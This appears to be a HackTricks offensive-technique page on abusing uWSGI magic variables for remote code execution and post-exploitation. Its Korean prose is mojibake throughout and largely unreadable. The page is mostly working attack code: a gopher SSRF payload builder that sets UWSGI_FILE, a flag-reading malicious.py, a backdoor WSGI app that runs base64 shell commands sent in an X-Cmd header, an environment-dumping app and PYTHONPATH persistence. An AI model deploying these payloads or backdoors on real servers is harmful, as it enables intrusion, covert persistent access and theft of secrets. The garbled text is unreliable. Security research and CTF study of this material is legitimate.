WSGI Post-Exploitation Tricks
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
WSGI ๊ฐ์
Web Server Gateway Interface (WSGI)์ ์น ์๋ฒ๊ฐ ์น ์ ํ๋ฆฌ์ผ์ด์ ๊ณผ ํต์ ํ๋ ๋ฐฉ์๊ณผ, ํ๋์ ์์ฒญ์ ์ฒ๋ฆฌํ๊ธฐ ์ํด ์น ์ ํ๋ฆฌ์ผ์ด์ ์ ์ฒด์ด๋ํ๋ ๋ฐฉ๋ฒ์ ์ ์ํ ๊ท๊ฒฉ์ ๋๋ค. uWSGI๋ ๊ฐ์ฅ ์ธ๊ธฐ ์๋ WSGI ์๋ฒ ์ค ํ๋๋ก, ์ฃผ๋ก Python ์น ์ ํ๋ฆฌ์ผ์ด์ ์ ์ ๊ณตํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค. uWSGI์ ๋ค์ดํฐ๋ธ ๋ฐ์ด๋๋ฆฌ ์ ์ก ๋ฐฉ์์ uwsgi ํ๋กํ ์ฝ(์๋ฌธ์)๋ก, ๋ฐฑ์๋ ์ ํ๋ฆฌ์ผ์ด์ ์๋ฒ๋ก ํค/๊ฐ ํ๋ผ๋ฏธํฐ๋ค์ ์ ๋ฌํฉ๋๋ค(โuwsgi paramsโ).
์ฐธ๊ณ ํ ๋งํ ๊ด๋ จ ํ์ด์ง:
SSRF (Server Side Request Forgery)
uWSGI ๋งค์ง ๋ณ์ ์ ์ฉ
uWSGI๋ ์ธ์คํด์ค๊ฐ ์ ํ๋ฆฌ์ผ์ด์
์ ๋ก๋ํ๊ณ ๋์คํจ์นํ๋ ๋ฐฉ์์ ๋ณ๊ฒฝํ ์ ์๋ โmagic variablesโ๋ฅผ ์ ๊ณตํฉ๋๋ค. ์ด ๋ณ์๋ค์ ์ผ๋ฐ์ ์ธ HTTP ํค๋๊ฐ ์๋๋ผ, reverse proxy (nginx, Apache mod_proxy_uwsgi ๋ฑ)์์ uWSGI ๋ฐฑ์๋๋ก ์ ๋ฌ๋๋ uwsgi/SCGI/FastCGI ์์ฒญ ๋ด๋ถ์ ์ค๋ฆฌ๋ uwsgi ํ๋ผ๋ฏธํฐ๋ค์
๋๋ค. ํ๋ก์ ์ค์ ์ด ์ฌ์ฉ์ ์ ์ด ๋ฐ์ดํฐ๋ฅผ uwsgi ํ๋ผ๋ฏธํฐ์ ๋งคํํ๋ค๋ฉด(์: $arg_*, $http_*๋ฅผ ํตํด, ๋๋ uwsgi ํ๋กํ ์ฝ์ ์ฌ์ฉํ๋ ์์ ํ์ง ์๊ฒ ๋
ธ์ถ๋ ์๋ํฌ์ธํธ๋ฅผ ํตํด), ๊ณต๊ฒฉ์๊ฐ ์ด๋ฌํ ๋ณ์๋ฅผ ์ค์ ํ์ฌ ์ฝ๋ ์คํ์ ๋ฌ์ฑํ ์ ์์ต๋๋ค.
ํ๋ก ํธ ํ๋ก์์์์ ์ํํ ๋งคํ (nginx ์์)
๋ค์๊ณผ ๊ฐ์ ์๋ชป๋ ์ค์ ์ uWSGI์ magic variables๋ฅผ ์ฌ์ฉ์ ์ ๋ ฅ์ ์ง์ ๋ ธ์ถํฉ๋๋ค:
location /app/ {
include uwsgi_params;
# DANGEROUS: maps query args into uwsgi params
uwsgi_param UWSGI_FILE $arg_f; # /app/?f=/tmp/backdoor.py
uwsgi_param UWSGI_MODULE $http_x_mod; # header: X-Mod: pkg.mod
uwsgi_param UWSGI_CALLABLE $arg_c; # /app/?c=application
uwsgi_pass unix:/run/uwsgi/app.sock;
}
์ฑ์ด๋ ์ ๋ก๋ ๊ธฐ๋ฅ์ด ์์ธก ๊ฐ๋ฅํ ๊ฒฝ๋ก์ ํ์ผ์ ์ธ ์ ์๊ฒ ํ์ฉํ๋ ๊ฒฝ์ฐ, ์์ ๋งคํ๊ณผ ๊ฒฐํฉํ๋ฉด ๋ฐฑ์๋๊ฐ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ํ์ผ/๋ชจ๋์ ๋ก๋ํ ๋ ๋ณดํต ์ฆ์ RCE๊ฐ ๋ฐ์ํฉ๋๋ค.
์ฃผ์ ์ ์ฉ ๋ณ์
UWSGI_FILE - ์์ ํ์ผ ๋ก๋/์คํ
uwsgi_param UWSGI_FILE /path/to/python/file.py;
์์์ Python ํ์ผ์ WSGI ์ ํ๋ฆฌ์ผ์ด์ ์ผ๋ก ๋ก๋ํ๊ณ ์คํํฉ๋๋ค. ๊ณต๊ฒฉ์๊ฐ uwsgi param bag์ ํตํด ์ด ๋งค๊ฐ๋ณ์๋ฅผ ์ ์ดํ ์ ์์ผ๋ฉด Remote Code Execution (RCE)์ ๋ฌ์ฑํ ์ ์์ต๋๋ค.
UWSGI_SCRIPT - ์คํฌ๋ฆฝํธ ๋ก๋ฉ
uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;
์ง์ ๋ ์คํฌ๋ฆฝํธ๋ฅผ ์๋ก์ด ์ ํ๋ฆฌ์ผ์ด์ ์ผ๋ก ๋ก๋ํฉ๋๋ค. ํ์ผ ์ ๋ก๋๋ ์ฐ๊ธฐ ๊ธฐ๋ฅ๊ณผ ๊ฒฐํฉ๋๋ฉด ์ด๋ RCE๋ก ์ด์ด์ง ์ ์์ต๋๋ค.
UWSGI_MODULE ๋ฐ UWSGI_CALLABLE - ๋์ ๋ชจ๋ ๋ก๋ฉ
uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;
์ด ๋งค๊ฐ๋ณ์๋ค์ ์์์ Python ๋ชจ๋์ ๋ก๋ํ๊ณ ๊ทธ ์์ ํน์ ํจ์๋ฅผ ํธ์ถํ ์ ์๋๋ก ํ์ฉํฉ๋๋ค.
UWSGI_SETENV - ํ๊ฒฝ ๋ณ์ ์กฐ์
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
ํ๊ฒฝ ๋ณ์๋ฅผ ๋ณ๊ฒฝํ๋ ๋ฐ ์ฌ์ฉ๋ ์ ์์ผ๋ฉฐ, ์ ํ๋ฆฌ์ผ์ด์ ๋์์ ์ํฅ์ ์ฃผ๊ฑฐ๋ ์ ์ฑ ๊ตฌ์ฑ์ ๋ก๋ํ ์ ์์ต๋๋ค.
UWSGI_PYHOME - Python ํ๊ฒฝ ์กฐ์
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
Python ๊ฐ์ ํ๊ฒฝ์ ๋ณ๊ฒฝํ์ฌ ์ ์ฑ ํจํค์ง๋ ๋ค๋ฅธ Python ์ธํฐํ๋ฆฌํฐ๋ฅผ ๋ก๋ํ ์ ์์ต๋๋ค.
UWSGI_CHDIR - ๋๋ ํ ๋ฆฌ ๋ณ๊ฒฝ
uwsgi_param UWSGI_CHDIR /etc/;
์์ฒญ์ ์ฒ๋ฆฌํ๊ธฐ ์ ์ ์์ ๋๋ ํฐ๋ฆฌ๋ฅผ ๋ณ๊ฒฝํ๋ฉฐ ๋ค๋ฅธ ๊ธฐ๋ฅ๋ค๊ณผ ํจ๊ป ์ฌ์ฉ๋ ์ ์์ต๋๋ค.
SSRF + uwsgi protocol (gopher) pivot
์ํ ๋ชจ๋ธ
๋์ ์น ์ฑ์ด SSRF primitive๋ฅผ ๋
ธ์ถํ๊ณ uWSGI ์ธ์คํด์ค๊ฐ ๋ด๋ถ TCP ์์ผ(์: socket = 127.0.0.1:3031)์์ ๋ฆฌ์ค๋ํ๋ ๊ฒฝ์ฐ, gopher๋ฅผ ํตํด raw uwsgi protocol๋ก ํต์ ํ๊ณ uWSGI magic variables๋ฅผ ์ฃผ์
ํ ์ ์์ต๋๋ค.
๋ง์ ๋ฐฐํฌ ํ๊ฒฝ์์ ๋ด๋ถ์ ์ผ๋ก ๋น-HTTP uwsgi ์์ผ์ ์ฌ์ฉํ๊ณ , reverse proxy(nginx/Apache)๊ฐ ํด๋ผ์ด์ธํธ์ HTTP๋ฅผ uwsgi param bag์ผ๋ก ๋ณํํ๊ธฐ ๋๋ฌธ์ ์ด๊ฒ์ด ๊ฐ๋ฅํฉ๋๋ค. SSRF+gopher๋ฅผ ์ฌ์ฉํ๋ฉด uwsgi ๋ฐ์ด๋๋ฆฌ ํจํท์ ์ง์ ์ ์ํ์ฌ UWSGI_FILE ๊ฐ์ ์ํํ ๋ณ์๋ฅผ ์ค์ ํ ์ ์์ต๋๋ค.
uWSGI ํ๋กํ ์ฝ ๊ตฌ์กฐ (๊ฐ๋จ ์ฐธ์กฐ)
- ํค๋(4 bytes):
modifier1(1 byte),datasize(2 bytes little-endian),modifier2(1 byte) - ๋ฐ๋: sequence of
[key_len(2 LE)] [key_bytes] [val_len(2 LE)] [val_bytes]
ํ์ค ์์ฒญ์ ๊ฒฝ์ฐ modifier1์ 0์
๋๋ค. ๋ฐ๋์๋ SERVER_PROTOCOL, REQUEST_METHOD, PATH_INFO, UWSGI_FILE ๋ฑ๊ณผ ๊ฐ์ uwsgi params๊ฐ ํฌํจ๋ฉ๋๋ค. ์ ์ฒด ์ธ๋ถ ์ฌํญ์ ๊ณต์ protocol spec์ ์ฐธ์กฐํ์ธ์.
์ต์ ํจํท ๋น๋ (gopher payload ์์ฑ)
import struct, urllib.parse
def uwsgi_gopher_url(host, port, params):
body = b''.join([struct.pack('<H', len(k))+k.encode()+struct.pack('<H', len(v))+v.encode() for k,v in params.items()])
pkt = bytes([0]) + struct.pack('<H', len(body)) + bytes([0]) + body
return f"gopher://{host}:{port}/_" + urllib.parse.quote_from_bytes(pkt)
# Example URL:
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
์๋ฒ์ ์ด์ ์ ์์ฑ๋ ํ์ผ์ force-loadํ๋ ์์:
params = {
'SERVER_PROTOCOL':'HTTP/1.1', 'REQUEST_METHOD':'GET', 'PATH_INFO':'/',
'UWSGI_FILE':'/app/profiles/malicious.py', 'SCRIPT_NAME':'/malicious.py'
}
print(uwsgi_gopher_url('127.0.0.1', 3031, params))
์์ฑ๋ URL์ SSRF sink๋ฅผ ํตํด ์ ์กํ์ธ์.
์ค์ต ์์
๋์คํฌ์ python ํ์ผ(ํ์ฅ์๋ ์๊ด์์)์ ๋ค์๊ณผ ๊ฐ์ ์ฝ๋๋ก ์์ฑํ ์ ์๋ค๋ฉด:
# /app/profiles/malicious.py
import os
os.system('/readflag > /app/profiles/result.txt')
def application(environ, start_response):
start_response('200 OK', [('Content-Type','text/plain')])
return [b'ok']
์ด ๊ฒฝ๋ก๋ก UWSGI_FILE์ ์ค์ ํ๋ gopher payload๋ฅผ ์์ฑํ๊ณ ํธ๋ฆฌ๊ฑฐํ์ธ์. ๋ฐฑ์๋๋ ์ด๋ฅผ importํ์ฌ WSGI ์ฑ์ผ๋ก ์คํํฉ๋๋ค.
Post-Exploitation Techniques
1. Persistent Backdoors
File-based Backdoor
# backdoor.py
import subprocess, base64
def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = 'Backdoor active'
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]
์ด๋ฅผ UWSGI_FILE๋ก ๋ก๋ํ๊ณ ์ ํํ SCRIPT_NAME ์๋์์ ์ ๊ทผํ์ธ์.
Environment-based Persistence
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.11/site-packages;
2. ์ ๋ณด ๋ ธ์ถ
ํ๊ฒฝ ๋ณ์ ๋คํ
# env_dump.py
import os, json
def application(environ, start_response):
env_data = {'os_environ': dict(os.environ), 'wsgi_environ': dict(environ)}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]
ํ์ผ ์์คํ ์ ๊ทผ
UWSGI_CHDIR๋ฅผ ํ์ผ ์ ๊ณต ๋์ฐ๋ฏธ์ ๊ฒฐํฉํด ๋ฏผ๊ฐํ ๋๋ ํฐ๋ฆฌ๋ฅผ ํ์ํ์ธ์.
3. ๊ถํ ์์น ์์ด๋์ด
- uWSGI๊ฐ ์์น๋ ๊ถํ์ผ๋ก ์คํ๋๊ณ sockets/pids๋ฅผ root ์์ ๋ก ๊ธฐ๋กํ๋ค๋ฉด, env์ ๋๋ ํฐ๋ฆฌ ๋ณ๊ฒฝ์ ์ ์ฉํด ๊ถํ ์๋ ์์ ์(root)๋ก ํ์ผ์ ๋ฐฐ์นํ๊ฑฐ๋ ๋ฐํ์ ์ํ๋ฅผ ์กฐ์ํ ์ ์์ต๋๋ค.
UWSGI_FILE์ ํตํด ๋ก๋๋ ํ์ผ ๋ด๋ถ์์ ํ๊ฒฝ(UWSGI_*)๋ก ๊ตฌ์ฑ์ ์ฌ์ ์ํ๋ฉด process model๊ณผ workers์ ์ํฅ์ ์ฃผ์ด persistence๋ฅผ ๋ ์๋ฐํ๊ฒ ๋ง๋ค ์ ์์ต๋๋ค.
# malicious_config.py
import os
# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'
uWSGI ์ฒด์ธ์ ๊ด๋ จ๋ Reverse-proxy desync ์ด์ (์ต๊ทผ)
mod_proxy_uwsgi๋ฅผ ์ฌ์ฉํ๋ Apache httpd ๋ฐฐํฌ๋ ํ๋ก ํธ์๋โ๋ฐฑ์๋ ์ค๊ฐ ๊ณ์ธต์ ์ํฅ์ ์ค ์ ์๋ response-splitting/desynchronization ๋ฒ๊ทธ๋ฅผ ์ต๊ทผ์ ๊ฒช์์ต๋๋ค:
- CVE-2023-27522 (Apache httpd 2.4.30โ2.4.55; ๋ํ uWSGI ํตํฉ์ 2.0.22/2.0.26 ์ด์ ์์ ์ฌํญ์ ๊ด๋ จ๋จ): ์๋ณธ(origin) ์๋ต ํค๋๋ฅผ ์กฐ์ํ๋ฉด
mod_proxy_uwsgi์ฌ์ฉ ์ HTTP response smuggling์ ์ ๋ฐํ ์ ์์ต๋๋ค. Apache๋ฅผ โฅ2.4.56์ผ๋ก ์ ๊ทธ๋ ์ด๋ํ๋ฉด ์ํ๋ฉ๋๋ค. - CVE-2024-24795 (fixed in Apache httpd 2.4.59; uWSGI 2.0.26 adjusted its Apache integration): ์ฌ๋ฌ httpd ๋ชจ๋์์์ HTTP response splitting์ด ๋ฐฑ์๋๊ฐ ํค๋๋ฅผ ์ฃผ์ ํ ๋ desync๋ก ์ด์ด์ง ์ ์์ต๋๋ค. uWSGI 2.0.26์ changelog์์๋ ์ด๊ฒ์ โlet httpd handle CL/TE for non-http handlers.โ๋ก ์ค๋ช ํฉ๋๋ค.
์ด๋ค์ uWSGI์์ ์ง์ ์ ์ธ RCE๋ฅผ ๋ฐ๋ก ๋ถ์ฌํ์ง๋ ์์ง๋ง, ์ฃ์ง ์ผ์ด์ค์์๋ header injection ๋๋ SSRF์ ์ฒด์ธ์ผ๋ก ์ฐ๊ฒฐ๋์ด uWSGI ๋ฐฑ์๋๋ก ํผ๋ฒํ ์ ์์ต๋๋ค. ํ ์คํธ ์์๋ ํ๋ก์์ ๋ฒ์ ์ fingerprintํ๊ณ , desync/smuggling primitives๋ฅผ ๋ฐฑ์๋ ์ ์ฉ ๋ผ์ฐํธ ๋ฐ sockets๋ก ์ ๊ทผํ๋ ์ง์ ์ ์ผ๋ก ๊ณ ๋ คํ์ธ์.
References
- uWSGI Magic Variables Documentation
- IOI SaveData CTF Writeup
- uWSGI Security Best Practices
- The uwsgi Protocol (spec)
- uWSGI 2.0.26 changelog mentioning CVE-2024-24795 adjustments
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


